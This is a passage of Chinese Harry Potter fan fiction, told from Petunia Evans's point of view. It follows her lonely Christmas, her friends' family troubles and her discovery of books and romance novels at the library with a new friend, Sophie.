但是莉莉穿好了衣服,脖子上围着一条红色的围巾,抱着她的书包在楼梯口遗憾地看着佩妮:“抱歉。佩妮,我和西弗约好了,要一起去写变形课的论文,等我写完论文,我就去找你。”
佩妮觉得自己的笑容僵在了脸上。
一连好几天,莉莉总是抱着书包匆匆忙忙地跑走,变形课有论文,魔药课有论文,什么草药学也有论文,论文是什么,到底有那么重要吗?
宝贵又短暂的圣诞假期不分给自己的姐姐,反而跑去和那个怪物一起。
好不容易一天,莉莉拦住了佩妮:“佩妮,我的论文写完了,我们今晚一起去看电视吧。”佩妮拒绝了,她脸上扬起一个笑容说:“不好意思,我跟我的朋友有约了。”
然后佩妮就冲了出去,其实她根本没有约薇拉和普尔佳,她只是想让莉莉尝到被拒绝的滋味,但是一冲出来佩妮就后悔了,外面下着雪,路面结着厚厚的冰。佩妮站在路口茫然地张望了一下,她决定去普尔佳家喝一杯热茶。
冒着风雪,佩妮走到普尔佳家,她一愣,普尔佳家的房子漆黑一片,里面一个人也没有。佩妮咬咬牙,决定转头去薇拉家,好不容易走到薇拉家,看到窗户上泛出来的橘黄色的灯光,佩妮快感动哭了,她摁响门铃,等了一会儿,薇拉打开了门。
“薇拉,我能跟你玩吗?”佩妮渴望地看着薇拉,她迫切地需要一杯热茶。
“哦,佩妮,今天恐怕不行。”薇拉摇了摇头,她的表情有一点严肃,灯光从薇拉身后照出来,但是感受不到一点的暖气,薇拉就连在家里也穿得严严实实,好几个中年男人低沉的声音从薇拉身后传来,听起来气氛很严肃。
“那我能喝一杯热茶再走吗?”佩妮感觉自己实在是维持不住脸上的笑容了。
薇拉看见佩妮的样子,咬了咬牙对她说:“你在这里等着。”佩妮在风雪里站了整整5分钟,薇拉才带了一杯温热的茶出来:“我很抱歉佩妮,但是喝完这杯茶,你得走了。”
佩妮觉得有一点委屈。
回到家里,莉莉和爸爸一起坐在沙发上看电视,伊万斯太太正在打扫卫生,她看到佩妮:“这么快就和你的朋友玩回来了吗?”
佩妮胡乱地应答了一声,回避了莉莉看过来的眼神,就冲上自己的房间,脱下外套,钻到床铺上,用被子把自己裹得严严实实,才觉得好了一些,如果,如果明天莉莉邀请她来看电视,她就再给莉莉一次机会。
但是第二天莉莉又被那个该死的小混蛋叫走了。
佩妮心想,这个假期她绝对不会再主动跟莉莉一起玩了。
过了几天莉莉才来邀请她,佩妮大声拒绝了:“我也要陪我自己的朋友的。”
但是这几天普尔佳的房子一直没有人,而每次敲开薇拉的门,薇拉总是说今天没有空,奇了怪了,以前她们不会这样的。
过了一段时间,风雪停了,气温回升上来。佩妮决定再去找一次薇拉和普尔佳。
她先跑到薇拉家。
“听着,佩妮。”薇拉深吸了一口气,她的面容看起来十分憔悴,“我的家里最近有一点小事,你这一段时间都不要来找我玩了。”
看着佩妮的脸色,薇拉软下了口气:“等假期结束,事情就解决了,那时我再来找你玩好吗?我保证。”这时薇拉家的客厅里突然传出来一阵激烈的争吵,薇拉脸色大变,还没有等佩妮反应过来,就匆匆把门关上了。
佩妮只好去找普尔佳,快要走到的时候,佩妮发现普尔佳的门口停着她家的那辆车,佩妮心中一喜,她快步奔过去,但是很快停住了脚步。
普尔佳扶着她妈妈从车上下来,她妈妈头顶上包了一块布,脸上满是泪痕,她妈妈虽然身材仍然臃肿,但是巨大的肚子不见了,哦对了,普尔佳说过,她妈妈要在圣诞节给她再添一个妹妹,可是婴儿呢?她们谁的怀抱里都没有一个孩子。普尔佳的脸上也挂满了疲惫。
看来这下也不能找普尔佳玩了,佩妮低着头转身离开。
她沿着石板路一路回家,百无聊赖地踢着路边的石头,天边云朵黑压压地堆在一块儿,西沉的阳光从后面散射出来,带来不了一点的温暖。
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这时她看见了莉莉和斯内普,两个人有说有笑地从另一条路经过。小怪物上了学之后,衣服好像终于合身了一点,但是表情还是一如既往的令人厌恶。
佩妮吃了一惊,快速找了一个拐角的房角躲了过去,他们的声音从远及近。
“佩妮最近都不太理我了。”这是莉莉的声音,她的声音轻轻地,低低从拐角那边传过来——什么叫我不理你,明明是你不理我。
“她又生你的气了?”小怪物问,他的声音带着那种令佩妮厌恶的自以为了解一切的笃定。
他们的声音很近了,佩妮捏紧自己的衣角,她感觉小怪物的视线往自己藏身的这边扫了一下,今天她穿了一条深红色的裙子,有一点显眼。佩妮大气也不敢出。
“我也说不好。”莉莉轻声说,“也许吧……我说要写论文,不能陪她,她就不高兴了。”
“噢,你又不是不了解你姐姐,她总是这样,一会儿要这一会儿要那,不是吗?”
“不是的,我也想跟她一起,但是佩妮不需要写这些东西,如果我邀请她,她肯定也会觉得无聊的。”莉莉的语气里多了一丝急促。
“莉莉,她不懂你在学什么。她是麻瓜,你是巫师,你们本来就不是一个世界的人。”
“但她是我的姐姐。”莉莉轻声反驳。
斯内普像是没听见这句话,继续说:“她还有她的朋友。你说她宁愿陪她的麻瓜朋友,也不愿和你在一起。”
“但是……”莉莉想要继续说什么,最后又没有说出来。
“别想那些了莉莉,你做的没有错,走吧,我们还有很多事情要做呢”
他们的声音渐行渐远,最后消失在佩妮的听觉之外。
佩妮站在街角一动不动,好冷啊,她感觉整个人都要冻住了,风吹得她的裙摆微微飘起。她低头看着自己在地上的影子,又抬头看看天上堆成铅灰色的云。
往哪边走?
前面,是走远的莉莉和斯内普。身后,是没有时间回应她的薇拉和普尔佳。
一股酸涩的感觉突然从胃里一直涌上鼻腔,现在她该去哪?
17. chapter16
佩妮站在紫藤路17号面前,在心里默默地说:
很抱歉,我忘记你了。
一想到这件事,她就有一些赧然。暑假结束后,她回归到正常的生活,伊索尔德和紫藤路17号好像被她短暂地遗忘到了脑后。不,她没有忘记伊索尔德,她在心里默默辩解,她只是很久没有来紫藤路17号了。
奶油蛋糕插在斜阳里,什么话也没说。
佩妮推开门走进去,埃莉诺和伊索尔德走的时候没有断电,她打开灯,白炽灯下,一些轻薄的灰尘在飞舞,佩妮把窗户打开,将沙发表面的灰尘简单地清扫了一下,打开了电视。
她想了想,跳下沙发,又去厨房打开冰箱,冰箱里果然还有一瓶汽水,佩妮把它拿出来,坐回沙发上,一边喝汽水一边看电视,空旷的客厅里传来电视机的声音,等到广告都播放完了,佩妮回过神,她把电视机关了,跑上来二楼。
二楼跟伊索尔德走之前的样子差不多,也只是多了一层灰,佩妮拿出扫尘帚,把床单上的灰尘简单地扫了扫,然后面对着伊索尔德的书架坐了下来。她抬头,这个书架真的太高大了,看到最上面一层的时候,脖子都要扭断了,一二三四五六七八,足足八层,伊索尔德说她现在才看完第一层,还要多久才能把它们全部都看完。
她想起伊索尔德在暑假废寝忘食看书的场景。书真的有这么好看吗?佩妮在心里想。伊索尔德话回荡在她的耳边,看这些书,就像在和爸爸妈妈说话一样。
佩妮伸手再度抚摸书架上的那些书,冰冷的触感再度爬上她的指尖。
那我来跟谁说话呢?她选出了一本《释梦》,她也会做梦,伊索尔德送了她一个捕梦网,祝她天天有好梦,那些梦会有什么含义呢?
“每一个梦境都会作为有一定意义的心理结构被解读,并且在一定程度上反应个体在清醒状态下的心理活动。”佩妮反复读了四五遍,才把这句话读顺,再往后面看,算了算了,放回去。
她抽出第二本《精神分析引论》,很好,这本书题目她都看不懂。
第三本《神经症》,序言里面一大堆的人名直接把佩妮绕晕了,很好,这本书也不想跟她说话。
佩妮挫败地把这些书统统都塞了回去,她打开这些书,试探性地敲响这些书的大门,想要跟里面的人说话,但是开门的都是说着另一种语言的陌生人。佩妮抬起头,那些各色的书籍在书架上高高地俯视着佩妮,气氛显得庄严又肃穆。
伊索尔德是怎么做到能跟这些书说话的?因为这是伊索尔德爸爸妈妈留给她的书,所以只跟伊索尔德交流吗?
佩妮抱着手抬头看着这些书好一会儿,决定再试一下。她要从伊索尔德看过的书里开始敲门,看看伊索尔德会不会在门后面给她留下一些什么痕迹。
她把第一层左手边的第一本抽出来,那是一本已经很旧的书了,书页泛黄,书的边角已经磨起了毛刺,纸张看起来很脆弱,但是每一页纸都保存得很好,依旧平整,没有一页被胡乱折叠或撕裂。看得出来读书的人反复翻阅它,但是又很爱惜它。
书名《小妇人》。
扉页上写着一句话:
To 伊索:
愿你的灵魂永远自由。
——落
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款是永远爱你的妈妈。
佩妮翻到第一章节。
““没有圣诞礼物的圣诞节是不完整的!”乔说。”
这句话突然打动了她,书里的人难道也在过不完整的圣诞节吗,佩妮来了兴趣,她捧着书坐下来,这本书想跟她说话。
佩妮一连好几天都在紫藤路17号看书,她给伊索尔德去信“亲爱的伊索尔德,你的圣诞节过的还好吗?圣诞节的时候,我在紫藤路17号找到了一本书,她叫《小妇人》,这本书我很喜欢。”
伊索尔德回信也很快:“亲爱的佩妮,你的圣诞礼物我已经收到,我非常喜欢,这个你亲手编织的围巾帮我挨过了切尔滕纳姆最寒冷的那几天,埃莉诺也很喜欢你织的围巾,但是她托我告诉你,下次可以用黑白色的线吗?红色的实在太亮眼了。虽然我很喜欢这个颜色。另外,很高兴你也喜欢《小妇人》,这是一本很值得读下去的书,紫藤路随时欢迎你的到来。”
圣诞假期的最后几天,莉莉哪里都没有去,她待在家里,每天眼巴巴地看着佩妮全副武装地出去。终于有一天,她拦住了佩妮,对她说,假期快要结束了,佩妮能不能留下来跟她一起再看一段时间的电视。
准备出发去紫藤路的佩妮犹豫了一下,上楼摘掉了自己的围巾手套和外套,然后和莉莉一起坐到了沙发上,爸爸把遥控器的主权教给了莉莉,莉莉欢呼了起来。
圣诞节结束,他们送莉莉去上学,莉莉快乐地奔去了站台之间的石墙后面。
佩妮在原地等了好一会儿,但是这回莉莉没有像第一次那样,再从石墙里钻出来给她一个拥抱。
18. chapter17
圣诞节结束后,学校里,薇拉和普尔佳又坐回到了自己的位置上,这让佩妮松了一口气。
她们围着佩妮。
薇拉撑着下巴说:“这个圣诞节糟透了,本来我想出来跟你们玩的,但是突然有很多人在圣诞节期间来找我爸爸。谈论我爸爸那个纺织厂的事情,什么股票,债券融资的事情,我没听太懂,妈妈只让我给他们端茶送水。”
普尔佳趴在桌上:“别说了,我妹妹出生了,比预计提早了两个星期。但是她比别的孩子黄多了,你们不知道,就像一个橘子。本来医生说是正常,结果她都出生了两个星期了,还是跟一个橘子一样,医生把她抱进了一个房间,不准我们去看。妈妈病倒了,我要负责照顾她,还有我其他的妹妹。”
佩妮决定把自己对朋友在圣诞节把她一个人扔下的抱怨咽到肚子里去。
“你的圣诞节怎么样?”薇拉带着一点嫉妒问佩妮:“你肯定是我们3个人当中,圣诞节过得最好的那一个。”
呃,佩妮心想,如果是跟她想象中的圣诞节相比,那肯定不是一个完美的圣诞节,但是,她看着朋友们的脸,只好说:“还不错。”
薇拉趴在桌子上:“不过事情总算解决了,圣诞节假期结束的时候,爸爸客客气气把他们送出了家门。”
普尔佳点点头:“我妹妹昨天总算出院了,一切都在往好的方向发展不是吗?”
她们又回归了白天上课,晚上结伴玩乐的日常,围绕在朋友的中间,佩妮感到安心。
但是还是有什么不太一样了,普尔佳作为家中最大的女儿总是需要回去照顾自己的妹妹和妈妈,因此她并不能之前那样跟她们在一起玩了。
团队的主体变成了薇拉和佩妮。她们像以前一样,去逛烘焙坊,去成衣店试裙子,下雨的时候就在家里看黑白电视,普尔佳偶尔加入,这是属于佩妮的世界。
圣诞节假期结束后的两个星期,教会的资金批下来了,佩妮拿到了她的报酬,薇拉和普尔佳陪她去把那条心仪的绿色裙子买下来。
“但是已经过了穿它的季节。”佩妮拿到裙子的时候抱怨,薇拉在佩妮头发上比划着给她挑选的搭配裙子的发带:“你可以明年穿。”
佩妮注意到薇拉抬起手时露出的磨损的衣口,薇拉有很久没穿过新衣服了。
她一把抓住薇拉和普尔佳的手:“我们会一直这样玩下去的,对吧。”
普尔佳和薇拉回握住她,普尔佳挑挑眉:“当然。”
在剩下的时间里,佩妮有空就跑去紫藤路17号,在伊索尔德的书架下阅读那本向她敞开大门的小妇人。
这样的生活使她感到平静和快乐。
但是有一天,佩妮清楚地记得,在数学课上,薇拉就坐在她的左手边在本子上涂涂画画,普尔佳在她的右后方偷偷钩织着给妹妹编织的小衣物。
阿加莎女士突然出现在了课堂的门口,她是学校大部分规则的制定者,她很尊重规则,很少突然打断课堂的正常运行。
教室里因为她的出现一片寂静。
她把薇拉叫走了。
薇拉进来的时候,脸色惨白,眼睛红红的,她把脸上的泪水胡乱地擦在自己的衣服上,动作粗鲁地把东西收拾好,看也没看佩妮和普尔佳就冲了出去。
阿加莎女士对讲台上的老师点了一下头,短促地说:“请继续你们的课程。”就关上了门。
教室里沉寂了一瞬后又响起老师的声音,佩妮和普尔佳都在对方的眼睛里看到了对方的倒影,脸色都十分难看。
此后薇拉再也没有在学校出现过。
佩妮试图去薇拉家找她,但是薇拉家的房子每天都被一群人围着,佩妮观察了一下,有一群人想要冲进薇拉家,但是还有一群人在对抗他们,不让他们冲进去,在这群人中,有一天佩妮看到了戈斯警官。有时候薇拉的妈妈会打开门说什么,她看起来很苍老,她说话的时候,佩妮惊讶的发现有人想要冲她扔石头。
薇拉一直没有出现。
佩妮把这件事告诉了普尔佳,普尔佳抱紧了她刚出生的妹妹,在襁褓里,她妹妹看起来确实很黄,就像个小橘人。
“妈妈,你知道薇拉家出了什么事吗?”佩妮帮妈妈一边揉面团,一边问,她妈妈有时候会从薇拉家的纺织厂接一些零散的活,所以这也是她和薇拉能成为朋友的原因之一,妈妈一定知道些什么。
妈妈停下了和面的动作,在围裙上擦干净自己的手,看向佩妮:“佩妮,你不要再去找薇拉了。”
“为什么?”
妈妈看着佩妮,她犹豫了很久,嘴巴动了动:“我不知道你现在能不能理解,佩妮宝贝。薇拉爸爸的纺织厂资金出了很严重的问题,拖欠了很多人的工资,很多人找上了他,圣诞节的时候,他承诺给大家发工资,但是前段时间,他从纺织厂的楼上跳了下去。”
“跳了下去?”
“对,跳了下去。然后把所有的债务和烦恼统统都留给了他的老婆孩子。”
佩妮茫然地睁大了她的眼睛。
佩妮去找普尔佳一起消化这件她难以理解的事情,普尔佳瞪大了她的眼睛,但是没有时间给普尔佳反应,她的妹妹也哭起来,卧室里传来她妈妈的咳嗽声,普尔佳慌慌张张地起身去厨房烧水。
佩妮坐了一会儿,普尔佳还在忙碌,她一边照看锅炉上的水,一边哄她的妹妹,佩妮决定一个人离开了。
现在佩妮早上从自己家里出发去上学。上学的时候太阳没有出来,空气中充满了未散尽的煤尘味。她每天路过的那条旧铁轨通过的街道尽头就通往薇拉家的纺织厂,现在天气转暖,枕木间全是聚集的水洼。佩妮要很小心的避开这些水洼和潮湿的地面,不然后轮溅起的泥水就会弄脏她的衣服。第一次她没有注意到,在学校上了半天的课,他们一直在佩妮身后对她小声指指点点。直到迟到的普尔佳坐到她的身后,才把她拽到厕所里,吃惊地指着她的衣服说,佩妮你没有注意到吗,你的后背全是泥点子。
然后穿过废弃的工厂区域,褪色的“布料加工有限公司”招牌就摇摇晃晃挂在厂房外的横梁上,风一吹,招牌吱呀作响,佩妮加速了蹬车的步伐,谁知道这牌子会不会突然掉下来。
穿过小巷,路过烘焙坊,烘焙坊研发出来了新品奶油蛋糕,空气中飘浮着奶油香甜的味道,橱柜里拜访着造型精致的蛋糕,她只是扫了一眼,就移开了视线。路过成衣店,模特身上挂上了新的裙子,这条新的裙子比她看中的那条款式更新,更鲜亮。
她一个人上课,一个人下课。普尔佳有时候会来陪她,但是更多的时候她都需要回家,上课的时候普尔佳也经常迟到,她的位置也逐渐空了起来。
没关系,佩妮对自己说。她去紫藤路17号,把自己沉浸在小妇人的世界里。
被大雨困在家里的时候,她央求妈妈说:“
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妈妈,你能陪我玩吗?”
伊万斯太太正在研究一本家庭料理杂志,她看了佩妮一眼,放下杂志:“好,你想要玩什么呢?”
佩妮大声地说:“你可以陪我试裙子,做蛋糕,看电视吗?”
“当然可以。”
但是裙子会有试尽的时候,来来去去烤制也也是差不多的蛋糕,佩妮颓然地坐到电视机前,打开遥控器,烦躁地说:“妈妈,我们就没有别的可以玩了吗?”
伊万斯太太坐到佩妮的身边:“可是,平常的活动就是这些啊。”
“妈妈为什么我会感到有一点无聊。”
伊万斯太太一把搂住佩妮:“没事的佩妮,生活就是这样子的。来,吃一颗糖。”她从沙发边上的篮子里摸出一颗糖,撕下下包装纸递给佩妮,自己的嘴里也放了一颗。
不一会儿
“妈妈,你飞起来了!”佩妮惊呼起来。
“哦天呐,佩妮,你也是。”伊万斯太太笑了起来。
她们吃到了莉莉留在家里的“滋滋蜂蜜糖”,失重的感觉让佩妮觉得既有点微微眩晕又感到十分神奇,她盯着自己漂浮的身体,心想,莉莉上飞行课的时候难道也是这种感觉吗,但是莉莉说她好像还会骑扫帚,这个问题只是刚在她心中划过,魔法时间到了,她的腿就重新触及到了坚实的地面。
她没有办法忍受了。
“佩妮,你去哪儿,外面还下着大雨。”
佩妮拿了一把伞,冲出了家门。
紫藤路17号,那本小妇人只剩最后一章了,佩妮迟迟没有翻动这一章节,她没有做好结束的准备。
佩妮抬起头,看着那一书架不想跟她沟通的书籍,她觉得自己快要喘不过气来了。
于是她给伊索尔德写信,她落笔:“亲爱的伊索尔德,你最近还好吗?我最近……“然后她卡壳了,她在纸上犹豫地下笔,又划掉,反复涂改了很多次,最后不得不重新拿出一张信纸,重新誊抄一遍。
”我最近过得也挺好,但是有时候,我是说偶尔的时候,我会感到孤独。小妇人我快要看完了,我学着你,尝试跟你书架上的书沟通,但是他们好像不是很想跟我沟通的样子。下一本,我该看什么呢?我有什么办法能跟他们沟通呢?”
伊索尔德的回信很快就回来了,随信附赠了另外一张简笔画,画上是两个小人靠在一起,坐在湖边的树下看书,左边的小人高一点,穿着佩妮暑假穿的裙子,右边的小人矮一点,戴着一副眼镜,穿着伊索尔德的衣服。她在信里写:
“佩妮,你说你“偶尔”会感到孤独,我想,那不只是偶尔吧?不过没关系,因为我也会孤独。孤独是一种很诚实的情绪。你愿意告诉我它,就说明你已经足够勇敢面对它了。别担心,我们都在学着和它相处。
我愿意随时分享你的孤独。
但是生活中可能会有一些时候,你的孤独没有办法分享出来,这时候你可以尝试写一点什么,当然这是我个人的经验之谈。
至于读书的问题,我很高兴你能喜欢小妇人。这是妈妈送给我的第一本书,她非常好读不是吗?它的温柔像一盏灯,能陪人走过很长的路。
你问我下一本该读什么——其实我想问你,你喜欢什么,你想要了解什么?紫藤路17号的书对于你来说确实非常难懂,如果你愿意,还记得我们初遇的那个图书馆吗?你可以去到那里,你会有不一样的发现。”
19. chapter18
佩妮站在图书馆前仰头看着这栋外形斑驳的建筑,她有一些踟蹰,万一碰到图书管理员夫人,问她怎么这么久没有来了该怎么办。
外面的风吹得有些冷,暖光从半开的铁门漏出来。
佩妮跳了进去,今天在窗台后面的是图书管理员,佩妮经过的时候,他头也没抬,这让佩妮松了一口气,轻声快步走进去。
图书馆里面还是跟暑假时差不多,地板一点灰尘也没有,环境温暖而整洁。阳光透过窗户投射在书架之间的地板上,空气中有飞舞的微尘,混合着纸墨的味道。
佩妮在这些书架之间来回逡巡。
——我喜欢什么?我想要了解什么?
她以前从没有思索过这样的问题,这让她感到茫然。
“你好。”在佩妮第三次路过同一个书架的时候,有人在后面轻声喊住了她,佩妮左右扭头看了一下,四周都没有人,确定这个声音是和自己说话后,她回头。
一头浓密的栗红色头发映入了佩妮的眼帘,第一眼差点让她以为这是莉莉,但是细看之下,莉莉的头发更鲜亮,而眼前这个人头发更偏棕色一点,一个彩色发夹别在右边的头发上。一个穿着红色波点裙,有着棕色眼睛,比佩妮高了半个头的女孩抱着书叫住了佩妮。
“你好,我认识你,我也在圣凯瑟琳现代中学上学,那天霍金斯太太的缝纫课,你是第一个交上去的。”栗红头发的女孩子冲佩妮眨了眨棕色的眼睛,对她说。阳光好像从她的眼睛里洒了出来,提起那天的场景,佩妮面上开始飞起红晕,但她努力回想,却全然对这个女孩毫无印象。
“我是索菲·特拉瑟姆,你可以叫我索菲,我也在现代中学上学,那天的缝纫课,我在最后一排。”索菲左手抱着书,对佩妮伸出了自己的右手。
“你好,我是二年级的佩妮·伊万斯。”家政课有的时候是跨年级一起上的,所以怪不得佩妮对她毫无印象,她有些无措地握住了索菲的手,索菲的手握起来干燥又温暖,手心里都是茧子。
“噢,我比你大一些,说真的,那天你做得那个针扎小枕头真的挺不错,我就没有办法做得那么快,针脚还缝得那么整齐。”索菲歪了一下头,对佩妮笑着说。
“哦,谢谢你。”索菲的夸赞使佩妮好像全身都沐浴在阳光里一样,全身暖洋洋的。
“所以,你在这里转悠了很久,你需要帮助吗?”索菲问。
佩妮觉得自己的脸更红了,她嗫喏地说:“呃,是这样的,我在,我在寻找好看的书,但是我不知道我喜欢什么,我,我想要了解什么。”佩妮觉得自己的问题很蠢,因为问出来后索菲一下就笑起来了。
“那你以前都看什么书呢?”索菲问。
“呃,傲慢与偏见,简爱,噢,最近还在看小妇人,只有这三本书愿意跟我说话。”佩妮最后一句话又把索菲逗笑了,这让佩妮感到羞恼起来。
索菲偏头思考了一下,上下打量了一下佩妮,眼睛里亮晶晶的不知道在打些什么注意,在这样的目光下,佩妮忍不住后退了一步,但是索拉没有给她逃离的机会,突然伸出右手,抓住了佩妮,一把把她扯了过来:“我知道了,你看的那些书都太老土了,跟我来,我带你去看点好东西。”
“喂!”佩妮发出了惊呼。
拽着她往前走的索拉转过身,左手抵在唇间:“嘘,小声点,你也不想我们被图书管理员赶出去吧,他的脾气可以没有他妻子好。”
佩妮茫然地被索菲拉着走,索菲左手抱着厚厚的一摞书,右手牵着佩妮,但她走得很快,裙角在行进间摆荡出好看的弧度,穿行在书架间的阳光下,她栗红色的头发好像被镀了一层金粉,右边别着的那个色彩多到夸张的彩色发夹流光溢彩。
索拉目不斜视拉着佩妮,穿过详细记录了科克沃斯工业发展史的一排排书架,然后在最角落里的一个书架前,她松开佩妮的手。
“记住这个书架,图书馆进门最左手边,从里面往外数第二个书架,从上往下数,第四排,记住了吗?”索菲看着佩妮,佩妮茫然地回望索菲,索菲不耐烦地又重申了一遍:“记住了吗?”佩妮点点头。
“这些书才是最适合我们女生看的书,噢这本也好看,正好我看完了,你可以借走去看。”索菲把左手抱着的那摞书最上面的一本塞给了佩妮,“我要走了,你自己慢慢挑吧,祝你旅途愉快。”随后索菲转身就走了,但往前走了几步,她又转过身,对佩妮眨了眨她的眼睛:“一个小建议,为了你的家庭关系和谐,不要把这些书带回家看,不要让你的爸爸妈妈知道。”
索菲几步就消失在书架的拐角处。
佩妮呆愣楞地低头看着索菲塞进自己手里的书,待看清楚封面后,她吓得差点把书扔了出去,封面竟然是一个男人和女人
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相拥在一起接吻!
——标题写着《燃情之夜》。
这都是什么呀!佩妮在心里尖叫起来。她面红耳赤,迅速把这本书随手找了一个空位插进了书架,做贼心虚地四处张望,左右看了一下见没人看她,一颗快要跳出喉咙的心才慢慢放了进去。
鬼使神差地,佩妮又伸出了手。
最后佩妮挑选了一本封面是一个带着花草编制的花环,在一个有山羊和小鹿的伊甸园翩然起舞的女孩的书,名字听起来也很正常,叫鹿之歌。
佩妮举起手,将这本书递给图书管理员,低着头目光死死盯着自己的鞋尖。图书管理员的目光有如实质,审视般地从头到尾来来回回把佩妮扫了好几遍,等待的时间为什么这么漫长啊?佩妮觉得管理员的视线快把她烧穿了。现在佩妮开始怀念今天为什么不是图书管理员太太在了。
就在佩妮快要坚持不住的时候,管理员把那本书还有借书登记本递给了佩妮。登记本上面按日期统计了借出去的书名、时间、借书人、以及借书证编号这些信息。佩妮拿起笔,潦草地写下这些信息,将这本书藏在了自己的胸前,逃也似地离开了图书馆。
她没有把这本书带回家,她的耳朵里还牢牢回荡着索菲的警告:“为了你的家庭关系和谐,不要把这些书带回家看,不要让你的爸爸妈妈知道。”
她把书带到了紫藤路17号,借着伊索尔德书桌上的小台灯,翻开了这本书。
晚上回家的时候,伊万斯太太好奇地问:“佩妮,你今天去哪里玩了,怎么回来得这么晚?”
“我去普尔佳家了,对不起妈妈,我们在看电视,看得比较晚了一点。”
伊万斯太太没有深究,佩妮神情有一些恍惚地走到自己的房间,把自己摔在床上,脑子里全是白天看到的那本书里的剧情。
那是一本讲了一个叫做菲比的少女,因为饱受继母的虐待,逃入了一个伊甸园般的异世界,拯救了被女巫诅咒变成了鹿的王子,最后携手年轻英俊的王子打败女巫,拯救自然之国,最后成为王后的故事。
优雅又高傲的鹿,在月圆之夜变成一个年轻帅气的王子,带着忧伤得令人心碎的目光,牵起女主角的手,空灵的月光下,万籁俱静,只有飞舞的萤虫见证他们的翩然之舞,还有王子落在少女额头的虔诚之吻。
——世界上竟然还有这种不可思议的故事?
20. chapter19
于是佩妮开始频繁往返图书馆。这些书很愿意跟她说话,用词简单,句式不复杂,为佩妮描绘的世界光怪陆离,剧情让佩妮目不暇接。
她想跟索菲好好聊一下这些神奇的书本,但她找不到索菲。从第一次在图书馆见到索菲,被她拉到那个书架下后,索菲就好像消失了一样,佩妮连续去了图书馆好几天都没有看到她。家政课来回拼不同的年级,但是就是拼不到索菲。
佩妮想主动去楼上四年级的教室里找索菲,她爬上楼梯来到四年级的教室门口,下课时间,门却是紧紧关闭的,佩妮犹豫着不知道要上前敲门,里面突然爆发出一阵激烈的笑声,吓得佩妮后退了一大步。
一个裹着深色外套,披着及腰金色卷发的女生开门从里面走出来,光线洒落在走廊的地板上随后又消失。佩妮鼓足勇气上去拦住她:“你好,我想请问索菲·特拉瑟姆在吗?”
背后的教室里又爆发出一阵更加剧烈的笑声,吞没了佩妮的声音。
“什么?你再说一遍,大声点,我根本听不见。”被拦住的女孩子不耐烦地盯着佩妮,她比佩妮高,低头注视着佩妮,带着无形的压迫。
往来间有几个高年级的学生路过,他们打量佩妮的眼光让她难以忍受。
“你、你好,我找索菲·特拉瑟姆,请问她在里面吗?”佩妮觉得自己的声音在发抖,她根本没有办法直视眼前的这个女孩子。
“没有,这里面没有索菲·特拉瑟姆。”女孩子不耐烦地挥挥手,然后指了指楼梯:“小朋友,你们的教室在楼下,没事别上来。”
佩妮恨不得找一个地缝钻进去。
下课的钟声响了,佩妮收拾好东西,把包背到自己的肩上。
薇拉的座位空荡荡的,普尔佳最后一节课完全没有来,老师看了一眼什么也没有说。佩妮的视线从薇拉桌子上的灰尘上简单地扫了一眼就挪开了。
今天她还要继续去图书馆碰碰运气。
佩妮跨上图书馆门前的台阶,夕阳把她的影子拉得老长。
一颗栗红色的脑袋就在图书馆进门最左手边,从里面往外数第二个书架下。
索菲今天穿了一件棕色的外套,下面是一条白色的百褶长裙,裙子正好到她的小腿,露出她纤细的脚腕,她的腰间别着一条棕色的皮带,勾勒出她的腰身。她栗红色的长发披在身后,右边的头发今天别了一个红色樱桃的发夹。
这样的装束让佩妮想起来那个下雨的下午,薇拉给她打扮的那一身。佩妮感觉心里刺了一下,但是重见索菲的喜悦迅速冲淡了这一点点的感觉。
“索菲!”佩妮迅速跑过去,小声地呼唤索菲。
索菲转过身,栗红色的发尾在空中划了一个好看的弧度,她看见佩妮,棕色的眼睛也亮了起来:“你好呀,佩妮。”
佩妮冲到索菲的身边,拽住了自己的书包带子,努力压抑住自己激动的心跳,深吸一口气,对索菲说:“索菲,我终于找到你了。”
索菲上下打量了一眼佩妮,目光随后停在了佩妮没有拉紧的书包里露出来的棕色图书边上,扬起了她修得细长漂亮的眉毛:“怎么样,不错吧。”
“天呐,怎么会有这么神奇的书。”佩妮把书包里的书掏出来,惊叹地说,“各种各样的女孩子,遭遇了各种各样的事情,然后遇到……”
索菲抢过佩妮的话:“遇到英俊潇洒的王子,噢有时候不一定王子,开展一段可歌可泣的爱情故事,这些男人是不是很令你着迷?”
佩妮的脸一下子就红起来了:“就……而且这些书她们愿意为我开门,呃,我的意思是,这些书非常的好读,我不需要反复查阅字典。读书的时候,我就像是进入了另外一个世界,她,她带给我……”
索菲继续接过佩妮的话:“进入神奇的魔法世界,带给你现实世界不曾有的体验,是不是?”
佩妮点点头,真实魔法世界倒是不会让她进入,但是索菲确实把佩妮想讲的大部分的话都讲了。
索菲目光一扫,嘴角突然泛起一个坏心思的笑:“我第一天给你的那本书,你看了吗?”
一想到那本书,佩妮瞬间就说不出话来了,她的脸一下子变得通红起来,咬紧了自己的牙齿,这副模样直接把索菲逗笑了:“我不逗你了,你都看了一些什么书?”
佩妮红着脸给索菲介绍了她那天选的那本鹿之歌,还有现在看的这本书,索菲嘴角挂着一点笑容,靠在书架上饶有兴致地听着,然后她说:“鹿之歌文笔还不错,但是剧情,噢,实在是太没有新意了,你现在选的这本书,我只能说,也还行吧。”
说完这句话,索菲就想走了。
佩妮有些着急,她叫住索菲:“嘿索菲,等等,我想问,我是说,如果我想跟你交流的话,我可以到哪里去找你?”
索菲回过头看着佩妮,她抬起手拨了一下左耳后的头发,宽大的西装袖口往下掉了一点,佩妮隐约瞧见一条淡红色的长条形痕迹,有一点像鞭痕,不是很清楚。但是索菲马上就把手放下来,袖口往下掉,遮住了她手上的痕迹:“你想找到我?”
佩妮点点头。
索菲盯着佩妮:“因为这些书?”
佩妮再次点点头。
索菲突然靠近了佩妮,棕色的眼睛一眨也不眨地盯着佩妮:“你很喜欢这些书吗?”
佩妮只能点头。
“有多喜欢?”索菲走近了,居高临下地看着佩妮。
佩妮抱着书在索菲的阴影里瑟缩了一下,抱紧了她怀里的书轻声说:“很喜欢。”
“你有没有告诉爸爸妈妈这件事?”
佩妮摇摇头:“我谁也没告诉。”
“别人知道你在看这些书吗?”
佩妮还是摇摇头。
索菲附下身,与佩妮平视:“那有人知道,是我给你推荐的这些书吗?”
佩妮闭上了眼睛猛猛摇头,她感觉索菲在把玩她的头发。
“睁开眼,对我发誓,你不可以对任何人说,是我告诉了你这些书,尤其是在学校。”索菲轻声说。
佩妮鼓起勇气睁开眼,眼前是索菲一张放大的脸,她的皮肤很白,五官很精致,就像洋娃娃一样,佩妮战战兢兢地伸出手:“我发誓。”
